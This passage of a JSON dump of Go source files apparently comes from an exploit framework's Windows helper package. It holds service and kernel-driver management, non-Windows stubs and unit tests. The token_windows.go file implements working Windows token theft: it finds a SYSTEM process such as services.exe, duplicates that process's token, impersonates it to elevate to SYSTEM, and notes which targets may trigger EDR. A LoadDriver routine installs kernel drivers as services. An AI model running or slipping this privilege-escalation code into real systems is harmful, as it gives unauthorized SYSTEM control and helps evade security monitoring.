x/sys/windows.\nfunc GetCurrentProcess() Handle {\n\treturn Handle(windows.CurrentProcess())\n}\n\n// GetCurrentProcessID returns the current process ID.\n// Wraps windows.GetCurrentProcessId from x/sys/windows.\nfunc GetCurrentProcessID() uint32 {\n\treturn windows.GetCurrentProcessId()\n}\n"
  },
  {
    "path": "windows/service_other.go",
    "content": "//go:build !windows\n\npackage windows\n\n// SCManager is a placeholder for the service control manager handle.\ntype SCManager struct{}\n\n// OpenSCManager opens a connection to the service control manager.\n// On non-Windows systems, returns false.\nfunc OpenSCManager(_ uint32) (*SCManager, bool) {\n\treturn nil, false\n}\n\n// GetServiceInfo retrieves information about a service.\n// On non-Windows systems, returns false.\nfunc GetServiceInfo(_ string) (*ServiceInfo, bool) {\n\treturn nil, false\n}\n\n// StartService starts a Windows service.\n// On non-Windows systems, returns false.\nfunc StartService(_ string) bool {\n\treturn false\n}\n\n// StopService stops a Windows service.\n// On non-Windows systems, returns false.\nfunc StopService(_ string) bool {\n\treturn false\n}\n\n// EnumServices enumerates all services on the system.\n// On non-Windows systems, returns false.\nfunc EnumServices() ([]ServiceInfo, bool) {\n\treturn nil, false\n}\n\n// EnumDrivers enumerates kernel drivers.\n// On non-Windows systems, returns false.\nfunc EnumDrivers() ([]ServiceInfo, bool) {\n\treturn nil, false\n}\n\n// LoadDriver loads a kernel driver.\n// On non-Windows systems, returns false.\nfunc LoadDriver(_ string, _ string) bool {\n\treturn false\n}\n\n// UnloadDriver unloads a kernel driver.\n// On non-Windows systems, returns false.\nfunc UnloadDriver(_ string) bool {\n\treturn false\n}\n\n// IsServiceRunning checks if a service is running.\n// On non-Windows systems, returns false.\nfunc IsServiceRunning(_ string) bool {\n\treturn false\n}\n\n// GetServicePID returns the PID of a running service.\n// On non-Windows systems, returns false.\nfunc GetServicePID(_ string) (uint32, bool) {\n\treturn 0, false\n}\n"
  },
  {
    "path": "windows/service_test.go",
    "content": "package windows_test\n\nimport (\n\t\"runtime\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/windows\"\n)\n\nfunc TestServiceStatusConstants(t *testing.T) {\n\tif windows.ServiceStopped != 0x00000001 {\n\t\tt.Errorf(\"ServiceStopped should be 1, got %d\", windows.ServiceStopped)\n\t}\n\tif windows.ServiceRunning != 0x00000004 {\n\t\tt.Errorf(\"ServiceRunning should be 4, got %d\", windows.ServiceRunning)\n\t}\n}\n\nfunc TestServiceTypeConstants(t *testing.T) {\n\tif windows.ServiceKernelDriver != 0x00000001 {\n\t\tt.Errorf(\"ServiceKernelDriver incorrect\")\n\t}\n\tif windows.ServiceWin32OwnProcess != 0x00000010 {\n\t\tt.Errorf(\"ServiceWin32OwnProcess incorrect\")\n\t}\n}\n\nfunc TestGetServiceInfoNonWindows(t *testing.T) {\n\tif runtime.GOOS != windowsOS {\n\t\t_, ok := windows.GetServiceInfo(\"SomeService\")\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t}\n}\n\nfunc TestStartServiceNonWindows(t *testing.T) {\n\tif runtime.GOOS != windowsOS {\n\t\tok := windows.StartService(\"SomeService\")\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t}\n}\n\nfunc TestStopServiceNonWindows(t *testing.T) {\n\tif runtime.GOOS != windowsOS {\n\t\tok := windows.StopService(\"SomeService\")\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t}\n}\n\nfunc TestEnumServicesNonWindows(t *testing.T) {\n\tif runtime.GOOS != windowsOS {\n\t\t_, ok := windows.EnumServices()\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t}\n}\n\nfunc TestEnumDriversNonWindows(t *testing.T) {\n\tif runtime.GOOS != windowsOS {\n\t\t_, ok := windows.EnumDrivers()\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t}\n}\n\nfunc TestLoadDriverNonWindows(t *testing.T) {\n\tif runtime.GOOS != windowsOS {\n\t\tok := windows.LoadDriver(\"C:\\\\path\\\\to\\\\driver.sys\", \"TestDriver\")\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t}\n}\n\nfunc TestIsServiceRunningNonWindows(t *testing.T) {\n\tif runtime.GOOS != windowsOS {\n\t\tresult := windows.IsServiceRunning(\"SomeService\")\n\t\tif result {\n\t\t\tt.Error(\"IsServiceRunning should return false on non-Windows\")\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "windows/service_windows.go",
    "content": "//go:build windows\n\npackage windows\n\nimport (\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"golang.org/x/sys/windows\"\n\t\"golang.org/x/sys/windows/svc\"\n\t\"golang.org/x/sys/windows/svc/mgr\"\n)\n\n// OpenSCManager opens a connection to the service control manager\nfunc OpenSCManager(access uint32) (*mgr.Mgr, bool) {\n\tm, err := mgr.Connect()\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"failed to connect to SCM: %v\", err)\n\t\treturn nil, false\n\t}\n\treturn m, true\n}\n\n// GetServiceInfo retrieves information about a service\nfunc GetServiceInfo(serviceName string) (*ServiceInfo, bool) {\n\tm, err := mgr.Connect()\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"failed to connect to SCM: %v\", err)\n\t\treturn nil, false\n\t}\n\tdefer m.Disconnect()\n\n\ts, err := m.OpenService(serviceName)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"failed to open service %s: %v\", serviceName, err)\n\t\treturn nil, false\n\t}\n\tdefer s.Close()\n\n\tconfig, err := s.Config()\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"failed to get service config: %v\", err)\n\t\treturn nil, false\n\t}\n\n\tstatus, err := s.Query()\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"failed to query service status: %v\", err)\n\t\treturn nil, false\n\t}\n\n\treturn &ServiceInfo{\n\t\tName:        serviceName,\n\t\tDisplayName: config.DisplayName,\n\t\tStatus:      uint32(status.State),\n\t\tType:        uint32(config.ServiceType),\n\t\tStartType:   uint32(config.StartType),\n\t\tBinaryPath:  config.BinaryPathName,\n\t\tAccount:     config.ServiceStartName,\n\t\tPID:         status.ProcessId,\n\t}, true\n}\n\n// StartService starts a Windows service\nfunc StartService(serviceName string) bool {\n\tm, err := mgr.Connect()\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"failed to connect to SCM: %v\", err)\n\t\treturn false\n\t}\n\tdefer m.Disconnect()\n\n\ts, err := m.OpenService(serviceName)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"failed to open service %s: %v\", serviceName, err)\n\t\treturn false\n\t}\n\tdefer s.Close()\n\n\terr = s.Start()\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"failed to start service: %v\", err)\n\t\treturn false\n\t}\n\n\treturn true\n}\n\n// StopService stops a Windows service\nfunc StopService(serviceName string) bool {\n\tm, err := mgr.Connect()\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"failed to connect to SCM: %v\", err)\n\t\treturn false\n\t}\n\tdefer m.Disconnect()\n\n\ts, err := m.OpenService(serviceName)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"failed to open service %s: %v\", serviceName, err)\n\t\treturn false\n\t}\n\tdefer s.Close()\n\n\t_, err = s.Control(svc.Stop)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"failed to stop service: %v\", err)\n\t\treturn false\n\t}\n\n\treturn true\n}\n\n// EnumServices enumerates all services on the system\nfunc EnumServices() ([]ServiceInfo, bool) {\n\tm, err := mgr.Connect()\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"failed to connect to SCM: %v\", err)\n\t\treturn nil, false\n\t}\n\tdefer m.Disconnect()\n\n\tnames, err := m.ListServices()\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"failed to list services: %v\", err)\n\t\treturn nil, false\n\t}\n\n\tvar services []ServiceInfo\n\tfor _, name := range names {\n\t\t// Use silent getter to avoid noisy output\n\t\tinfo, ok := getServiceInfoSilent(m, name)\n\t\tif !ok {\n\t\t\tcontinue\n\t\t}\n\t\tservices = append(services, *info)\n\t}\n\n\treturn services, true\n}\n\n// getServiceInfoSilent retrieves service info without printing errors.\n// Used internally by EnumServices to avoid noisy output.\nfunc getServiceInfoSilent(m *mgr.Mgr, serviceName string) (*ServiceInfo, bool) {\n\ts, err := m.OpenService(serviceName)\n\tif err != nil {\n\t\treturn nil, false\n\t}\n\tdefer s.Close()\n\n\tconfig, err := s.Config()\n\tif err != nil {\n\t\treturn nil, false\n\t}\n\n\tstatus, err := s.Query()\n\tif err != nil {\n\t\treturn nil, false\n\t}\n\n\treturn &ServiceInfo{\n\t\tName:        serviceName,\n\t\tDisplayName: config.DisplayName,\n\t\tStatus:      uint32(status.State),\n\t\tType:        uint32(config.ServiceType),\n\t\tStartType:   uint32(config.StartType),\n\t\tBinaryPath:  config.BinaryPathName,\n\t\tAccount:     config.ServiceStartName,\n\t\tPID:         status.ProcessId,\n\t}, true\n}\n\n// EnumDrivers enumerates kernel drivers\nfunc EnumDrivers() ([]ServiceInfo, bool) {\n\tm, err := mgr.Connect()\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"failed to connect to SCM: %v\", err)\n\t\treturn nil, false\n\t}\n\tdefer m.Disconnect()\n\n\tnames, err := m.ListServices()\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"failed to list services: %v\", err)\n\t\treturn nil, false\n\t}\n\n\tvar drivers []ServiceInfo\n\tfor _, name := range names {\n\t\tinfo, ok := getServiceInfoSilent(m, name)\n\t\tif !ok {\n\t\t\tcontinue\n\t\t}\n\t\t// Filter for kernel drivers\n\t\tif info.Type == ServiceKernelDriver || info.Type == ServiceFileSystemDriver {\n\t\t\tdrivers = append(drivers, *info)\n\t\t}\n\t}\n\n\treturn drivers, true\n}\n\n// LoadDriver loads a kernel driver\nfunc LoadDriver(driverPath string, serviceName string) bool {\n\tm, err := mgr.Connect()\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"failed to connect to SCM: %v\", err)\n\t\treturn false\n\t}\n\tdefer m.Disconnect()\n\n\t// Create the driver service\n\ts, err := m.CreateService(\n\t\tserviceName,\n\t\tdriverPath,\n\t\tmgr.Config{\n\t\t\tServiceType:  windows.SERVICE_KERNEL_DRIVER,\n\t\t\tStartType:    windows.SERVICE_DEMAND_START,\n\t\t\tErrorControl: windows.SERVICE_ERROR_NORMAL,\n\t\t},\n\t)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"failed to create driver service: %v\", err)\n\t\treturn false\n\t}\n\tdefer s.Close()\n\n\t// Start the driver\n\terr = s.Start()\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"failed to start driver: %v\", err)\n\t\treturn false\n\t}\n\n\treturn true\n}\n\n// UnloadDriver unloads a kernel driver\nfunc UnloadDriver(serviceName string) bool {\n\tm, err := mgr.Connect()\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"failed to connect to SCM: %v\", err)\n\t\treturn false\n\t}\n\tdefer m.Disconnect()\n\n\ts, err := m.OpenService(serviceName)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"failed to open driver service: %v\", err)\n\t\treturn false\n\t}\n\tdefer s.Close()\n\n\t// Stop the driver\n\t_, err = s.Control(svc.Stop)\n\tif err != nil {\n\t\t// Ignore if already stopped\n\t}\n\n\t// Delete the service\n\terr = s.Delete()\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"failed to delete driver service: %v\", err)\n\t\treturn false\n\t}\n\n\treturn true\n}\n\n// IsServiceRunning checks if a service is running\nfunc IsServiceRunning(serviceName string) bool {\n\tinfo, ok := GetServiceInfo(serviceName)\n\tif !ok {\n\t\treturn false\n\t}\n\treturn info.Status == ServiceRunning\n}\n\n// GetServicePID returns the PID of a running service\nfunc GetServicePID(serviceName string) (uint32, bool) {\n\tinfo, ok := GetServiceInfo(serviceName)\n\tif !ok {\n\t\treturn 0, false\n\t}\n\tif info.Status != ServiceRunning {\n\t\toutput.PrintfFrameworkError(\"service %s is not running\", serviceName)\n\t\treturn 0, false\n\t}\n\treturn info.PID, true\n}\n\n// modadvapi32 is shared with token_windows.go\nvar (\n\tmodadvapi32 = windows.NewLazySystemDLL(\"advapi32.dll\")\n)\n"
  },
  {
    "path": "windows/token_other.go",
    "content": "//go:build !windows\n\npackage windows\n\n// OpenProcessToken opens the access token associated with a process.\n// On non-Windows systems, returns false.\nfunc OpenProcessToken(_ Handle, _ uint32) (Token, bool) {\n\treturn Token(0), false\n}\n\n// OpenProcessTokenByPID opens the access token for a process by PID.\n// On non-Windows systems, returns false.\nfunc OpenProcessTokenByPID(_ uint32, _ uint32) (Token, bool) {\n\treturn Token(0), false\n}\n\n// DuplicateToken duplicates an access token.\n// On non-Windows systems, returns false.\nfunc DuplicateToken(_ Token, _ SecurityImpersonationLevel, _ TokenType) (Token, bool) {\n\treturn Token(0), false\n}\n\n// ImpersonateToken impersonates the specified token.\n// On non-Windows systems, returns false.\nfunc ImpersonateToken(_ Token) bool {\n\treturn false\n}\n\n// RevertToSelf reverts to the process token.\n// On non-Windows systems, returns false.\nfunc RevertToSelf() bool {\n\treturn false\n}\n\n// CloseToken closes a token handle.\n// On non-Windows systems, returns false.\nfunc CloseToken(_ Token) bool {\n\treturn false\n}\n\n// GetTokenUser returns the user SID associated with a token.\n// On non-Windows systems, returns false.\nfunc GetTokenUser(_ Token) (string, bool) {\n\treturn \"\", false\n}\n\n// GetTokenIntegrity returns the integrity level of a token.\n// On non-Windows systems, returns IntegrityUnknown.\nfunc GetTokenIntegrity(_ Token) IntegrityLevel {\n\treturn IntegrityUnknown\n}\n\n// StealToken attempts to steal a token from another process.\n// On non-Windows systems, returns false.\nfunc StealToken(_ uint32) (Token, bool) {\n\treturn Token(0), false\n}\n\n// StealAndImpersonate steals a token and impersonates it.\n// On non-Windows systems, returns false.\nfunc StealAndImpersonate(_ uint32) bool {\n\treturn false\n}\n\n// WellKnownSystemProcesses lists processes that typically run as SYSTEM.\n// These can be used for token theft when elevated privileges are available.\n//\n// Note: Direct interaction with lsass.exe may trigger security software\n// due to Credential Guard and other protections on modern Windows.\nvar WellKnownSystemProcesses = []string{\n\t\"services.exe\", // Service Control Manager - safest choice\n\t\"winlogon.exe\", // Windows Logon Process\n\t\"lsass.exe\",    // Local Security Authority - may trigger EDR\n\t\"csrss.exe\",    // Client/Server Runtime - protected process\n\t\"smss.exe\",     // Session Manager - protected process\n}\n\n// FindSystemProcess finds a process running as SYSTEM.\n// On non-Windows systems, returns false.\nfunc FindSystemProcess() (uint32, bool) {\n\treturn 0, false\n}\n\n// ElevateToSystem attempts to elevate to SYSTEM by stealing a token.\n// On non-Windows systems, returns false.\nfunc ElevateToSystem() bool {\n\treturn false\n}\n\n// EnablePrivilege enables a privilege in the current process token.\n// On non-Windows systems, returns false.\nfunc EnablePrivilege(_ string) bool {\n\treturn false\n}\n\n// Common Windows privileges.\nconst (\n\tSeDebugPrivilege              = \"SeDebugPrivilege\"\n\tSeImpersonatePrivilege        = \"SeImpersonatePrivilege\"\n\tSeAssignPrimaryTokenPrivilege = \"SeAssignPrimaryTokenPrivilege\"\n\tSeTcbPrivilege                = \"SeTcbPrivilege\"\n\tSeBackupPrivilege             = \"SeBackupPrivilege\"\n\tSeRestorePrivilege            = \"SeRestorePrivilege\"\n\tSeTakeOwnershipPrivilege      = \"SeTakeOwnershipPrivilege\"\n\tSeLoadDriverPrivilege         = \"SeLoadDriverPrivilege\"\n)\n\n// QueryTokenInformation queries information about a token.\n// On non-Windows systems, returns false.\nfunc QueryTokenInformation(_ Token, _ uint32) ([]byte, bool) {\n\treturn nil, false\n}\n\n// GetTokenPrivileges returns the privileges associated with a token.\n// On non-Windows systems, returns false.\nfunc GetTokenPrivileges(_ Token) ([]string, bool) {\n\treturn nil, false\n}\n\n// GetTokenInfo returns detailed information about a token.\n// On non-Windows systems, returns false.\nfunc GetTokenInfo(_ Token) (*TokenInfo, bool) {\n\treturn nil, false\n}\n\n// IsTokenElevated checks if a token is elevated.\n// On non-Windows systems, returns false.\nfunc IsTokenElevated(_ Token) bool {\n\treturn false\n}\n\n// GetTokenSessionID returns the session ID associated with a token.\n// On non-Windows systems, returns false.\nfunc GetTokenSessionID(_ Token) (uint32, bool) {\n\treturn 0, false\n}\n"
  },
  {
    "path": "windows/token_test.go",
    "content": "package windows_test\n\nimport (\n\t\"runtime\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/windows\"\n)\n\nfunc TestTokenTypeConstants(t *testing.T) {\n\tif windows.TokenTypePrimary != 1 {\n\t\tt.Errorf(\"TokenTypePrimary should be 1, got %d\", windows.TokenTypePrimary)\n\t}\n\tif windows.TokenTypeImpersonation != 2 {\n\t\tt.Errorf(\"TokenTypeImpersonation should be 2, got %d\", windows.TokenTypeImpersonation)\n\t}\n}\n\nfunc TestSecurityImpersonationLevelConstants(t *testing.T) {\n\tif windows.SecurityAnonymous != 0 {\n\t\tt.Errorf(\"SecurityAnonymous should be 0, got %d\", windows.SecurityAnonymous)\n\t}\n\tif windows.SecurityIdentification != 1 {\n\t\tt.Errorf(\"SecurityIdentification should be 1, got %d\", windows.SecurityIdentification)\n\t}\n\tif windows.SecurityImpersonation != 2 {\n\t\tt.Errorf(\"SecurityImpersonation should be 2, got %d\", windows.SecurityImpersonation)\n\t}\n\tif windows.SecurityDelegation != 3 {\n\t\tt.Errorf(\"SecurityDelegation should be 3, got %d\", windows.SecurityDelegation)\n\t}\n}\n\nfunc TestPrivilegeConstants(t *testing.T) {\n\t// Test that privilege constants are defined\n\tif windows.SeDebugPrivilege != \"SeDebugPrivilege\" {\n\t\tt.Error(\"SeDebugPrivilege constant incorrect\")\n\t}\n\tif windows.SeImpersonatePrivilege != \"SeImpersonatePrivilege\" {\n\t\tt.Error(\"SeImpersonatePrivilege constant incorrect\")\n\t}\n\tif windows.SeAssignPrimaryTokenPrivilege != \"SeAssignPrimaryTokenPrivilege\" {\n\t\tt.Error(\"SeAssignPrimaryTokenPrivilege constant incorrect\")\n\t}\n\tif windows.SeTcbPrivilege != \"SeTcbPrivilege\" {\n\t\tt.Error(\"SeTcbPrivilege constant incorrect\")\n\t}\n\tif windows.SeBackupPrivilege != \"SeBackupPrivilege\" {\n\t\tt.Error(\"SeBackupPrivilege constant incorrect\")\n\t}\n\tif windows.SeRestorePrivilege != \"SeRestorePrivilege\" {\n\t\tt.Error(\"SeRestorePrivilege constant incorrect\")\n\t}\n\tif windows.SeTakeOwnershipPrivilege != \"SeTakeOwnershipPrivilege\" {\n\t\tt.Error(\"SeTakeOwnershipPrivilege constant incorrect\")\n\t}\n\tif windows.SeLoadDriverPrivilege != \"SeLoadDriverPrivilege\" {\n\t\tt.Error(\"SeLoadDriverPrivilege constant incorrect\")\n\t}\n}\n\nfunc TestOpenProcessTokenNonWindows(t *testing.T) {\n\tif runtime.GOOS != windowsOS {\n\t\t_, ok := windows.OpenProcessToken(windows.Handle(0), windows.TokenQuery)\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t}\n}\n\nfunc TestOpenProcessTokenByPIDNonWindows(t *testing.T) {\n\tif runtime.GOOS != windowsOS {\n\t\t_, ok := windows.OpenProcessTokenByPID(1234, windows.TokenQuery)\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t}\n}\n\nfunc TestDuplicateTokenNonWindows(t *testing.T) {\n\tif runtime.GOOS != windowsOS {\n\t\t_, ok := windows.DuplicateToken(windows.Token(0), windows.SecurityImpersonation, windows.TokenTypeImpersonation)\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t}\n}\n\nfunc TestImpersonateTokenNonWindows(t *testing.T) {\n\tif runtime.GOOS != windowsOS {\n\t\tok := windows.ImpersonateToken(windows.Token(0))\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t}\n}\n\nfunc TestRevertToSelfNonWindows(t *testing.T) {\n\tif runtime.GOOS != windowsOS {\n\t\tok := windows.RevertToSelf()\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t}\n}\n\nfunc TestCloseTokenNonWindows(t *testing.T) {\n\tif runtime.GOOS != windowsOS {\n\t\tok := windows.CloseToken(windows.Token(0))\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t}\n}\n\nfunc TestGetTokenUserNonWindows(t *testing.T) {\n\tif runtime.GOOS != windowsOS {\n\t\t_, ok := windows.GetTokenUser(windows.Token(0))\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t}\n}\n\nfunc TestGetTokenIntegrityNonWindows(t *testing.T) {\n\tif runtime.GOOS != windowsOS {\n\t\tlevel := windows.GetTokenIntegrity(windows.Token(0))\n\t\tif level != windows.IntegrityUnknown {\n\t\t\tt.Errorf(\"Expected IntegrityUnknown, got: %s\", level.String())\n\t\t}\n\t}\n}\n\nfunc TestStealTokenNonWindows(t *testing.T) {\n\tif runtime.GOOS != windowsOS {\n\t\t_, ok := windows.StealToken(1234)\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t}\n}\n\nfunc TestStealAndImpersonateNonWindows(t *testing.T) {\n\tif runtime.GOOS != windowsOS {\n\t\tok := windows.StealAndImpersonate(1234)\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t}\n}\n\nfunc TestFindSystemProcessNonWindows(t *testing.T) {\n\tif runtime.GOOS != windowsOS {\n\t\t_, ok := windows.FindSystemProcess()\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t}\n}\n\nfunc TestElevateToSystemNonWindows(t *testing.T) {\n\tif runtime.GOOS != windowsOS {\n\t\tok := windows.ElevateToSystem()\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t}\n}\n\nfunc TestEnablePrivilegeNonWindows(t *testing.T) {\n\tif runtime.GOOS != windowsOS {\n\t\tok := windows.EnablePrivilege(windows.SeDebugPrivilege)\n\t\tif ok {\n\t\t\tt.Error(\"Expected false on non-Windows\")\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "windows/token_windows.go",
    "content": "//go:build windows\n\npackage windows\n\nimport (\n\t\"unsafe\"\n\n\t\"golang.org/x/sys/windows\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n)\n\nvar (\n\t// Token functions not available in x/sys/windows\n\t// modadvapi32 is declared in service_windows.go\n\tprocImpersonateLoggedOnUser = modadvapi32.NewProc(\"ImpersonateLoggedOnUser\")\n\tprocLookupPrivilegeNameW    = modadvapi32.NewProc(\"LookupPrivilegeNameW\")\n)\n\n// OpenProcessToken opens the access token associated with a process\nfunc OpenProcessToken(processHandle Handle, desiredAccess uint32) (Token, bool) {\n\tvar token windows.Token\n\terr := windows.OpenProcessToken(windows.Handle(processHandle), desiredAccess, &token)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"OpenProcessToken failed: %v\", err)\n\t\treturn Token(0), false\n\t}\n\treturn Token(token), true\n}\n\n// OpenProcessTokenByPID opens the access token for a process by PID\nfunc OpenProcessTokenByPID(pid uint32, desiredAccess uint32) (Token, bool) {\n\tprocessHandle, ok := OpenProcess(pid, ProcessQueryInformation)\n\tif !ok {\n\t\treturn Token(0), false\n\t}\n\tdefer CloseHandle(processHandle)\n\n\treturn OpenProcessToken(processHandle, desiredAccess)\n}\n\n// DuplicateToken duplicates an access token\nfunc DuplicateToken(existingToken Token, impersonationLevel SecurityImpersonationLevel, tokenType TokenType) (Token, bool) {\n\tvar newToken windows.Token\n\n\terr := windows.DuplicateTokenEx(\n\t\twindows.Token(existingToken),\n\t\tTokenAllAccess,\n\t\tnil,\n\t\tuint32(impersonationLevel),\n\t\tuint32(tokenType),\n\t\t&newToken,\n\t)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"DuplicateTokenEx failed: %v\", err)\n\t\treturn Token(0), false\n\t}\n\n\treturn Token(newToken), true\n}\n\n// ImpersonateToken impersonates the specified token\nfunc ImpersonateToken(token Token) bool {\n\tret, _, err := procImpersonateLoggedOnUser.Call(uintptr(token))\n\tif ret == 0 {\n\t\toutput.PrintfFrameworkError(\"ImpersonateLoggedOnUser failed: %v\", err)\n\t\treturn false\n\t}\n\treturn true\n}\n\n// RevertToSelf reverts to the process token.\n// Wraps windows.RevertToSelf from x/sys/windows.\nfunc RevertToSelf() bool {\n\terr := windows.RevertToSelf()\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"RevertToSelf failed: %v\", err)\n\t\treturn false\n\t}\n\treturn true\n}\n\n// CloseToken closes a token handle\nfunc CloseToken(token Token) bool {\n\terr := windows.CloseHandle(windows.Handle(token))\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"CloseToken failed: %v\", err)\n\t\treturn false\n\t}\n\treturn true\n}\n\n// GetTokenUser returns the user SID associated with a token\nfunc GetTokenUser(token Token) (string, bool) {\n\tt := windows.Token(token)\n\tuser, err := t.GetTokenUser()\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"GetTokenUser failed: %v\", err)\n\t\treturn \"\", false\n\t}\n\n\taccount, domain, _, err := user.User.Sid.LookupAccount(\"\")\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"LookupAccount failed: %v\", err)\n\t\treturn \"\", false\n\t}\n\n\tif domain != \"\" {\n\t\treturn domain + \"\\\\\" + account, true\n\t}\n\treturn account, true\n}\n\n// GetTokenIntegrity returns the integrity level of a token\nfunc GetTokenIntegrity(token Token) IntegrityLevel {\n\treturn getTokenIntegrityLevel(windows.Token(token))\n}\n\n// StealToken attempts to steal a token from another process.\n// This is a common privilege escalation technique.\nfunc StealToken(targetPID uint32) (Token, bool) {\n\t// Open the target process\n\tprocessHandle, ok := OpenProcess(targetPID, ProcessQueryInformation)\n\tif !ok {\n\t\treturn Token(0), false\n\t}\n\tdefer CloseHandle(processHandle)\n\n\t// Open the process token\n\ttoken, ok := OpenProcessToken(processHandle, TokenDuplicate|TokenQuery)\n\tif !ok {\n\t\treturn Token(0), false\n\t}\n\tdefer CloseToken(token)\n\n\t// Duplicate the token for impersonation\n\tdupToken, ok := DuplicateToken(token, SecurityImpersonation, TokenTypeImpersonation)\n\tif !ok {\n\t\treturn Token(0), false\n\t}\n\n\treturn dupToken, true\n}\n\n// StealAndImpersonate steals a token and impersonates it\nfunc StealAndImpersonate(targetPID uint32) bool {\n\ttoken, ok := StealToken(targetPID)\n\tif !ok {\n\t\treturn false\n\t}\n\n\tif !ImpersonateToken(token) {\n\t\tCloseToken(token)\n\t\treturn false\n\t}\n\n\treturn true\n}\n\n// WellKnownSystemProcesses lists processes that typically run as SYSTEM.\n// These can be used for token theft when elevated privileges are available.\n//\n// Note: Direct interaction with lsass.exe may trigger security software\n// due to Credential Guard and other protections on modern Windows.\nvar WellKnownSystemProcesses = []string{\n\t\"services.exe\", // Service Control Manager - safest choice\n\t\"winlogon.exe\", // Windows Logon Process\n\t\"lsass.exe\",    // Local Security Authority - may trigger EDR\n\t\"csrss.exe\",    // Client/Server Runtime - protected process\n\t\"smss.exe\",     // Session Manager - protected process\n}\n\n// FindSystemProcess finds a process running as SYSTEM that can be used for token theft.\n// Searches WellKnownSystemProcesses in order, returning the first accessible one.\n// services.exe is preferred as it's less likely to trigger security alerts.\nfunc FindSystemProcess() (uint32, bool) {\n\tfor _, procName := range WellKnownSystemProcesses {\n\t\tpid, ok := FindProcess(procName)\n\t\tif ok {\n\t\t\treturn pid, true\n\t\t}\n\t}\n\n\toutput.PrintFrameworkError(\"no accessible SYSTEM process found\")\n\treturn 0, false\n}\n\n// ElevateToSystem attempts to elevate to SYSTEM by stealing a token\nfunc ElevateToSystem() bool {\n\t// Check if already SYSTEM\n\tif IsSystem() {\n\t\treturn true\n\t}\n\n\t// Find a SYSTEM process\n\tpid, ok := FindSystemProcess()\n\tif !ok {\n\t\treturn false\n\t}\n\n\t// Steal and impersonate\n\treturn StealAndImpersonate(pid)\n}\n\n// EnablePrivilege enables a privilege in the current process token\nfunc EnablePrivilege(privilegeName string) bool {\n\tvar token windows.Token\n\terr := windows.OpenProcessToken(windows.CurrentProcess(), TokenAdjustPrivileges|TokenQuery, &token)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"OpenProcessToken failed: %v\", err)\n\t\treturn false\n\t}\n\tdefer token.Close()\n\n\tvar luid windows.LUID\n\terr = windows.LookupPrivilegeValue(nil, windows.StringToUTF16Ptr(privilegeName), &luid)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"LookupPrivilegeValue failed: %v\", err)\n\t\treturn false\n\t}\n\n\ttp := windows.Tokenprivileges{\n\t\tPrivilegeCount: 1,\n\t}\n\ttp.Privileges[0] = windows.LUIDAndAttributes{\n\t\tLuid:       luid,\n\t\tAttributes: windows.SE_PRIVILEGE_ENABLED,\n\t}\n\n\terr = windows.AdjustTokenPrivileges(token, false, &tp, uint32(unsafe.Sizeof(tp)), nil, nil)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"AdjustTokenPrivileges failed: %v\", err)\n\t\treturn false\n\t}\n\treturn true\n}\n\n// Common Windows privileges\nconst (\n\tSeDebugPrivilege              = \"SeDebugPrivilege\"\n\tSeImpersonatePrivilege        = \"SeImpersonatePrivilege\"\n\tSeAssignPrimaryTokenPrivilege = 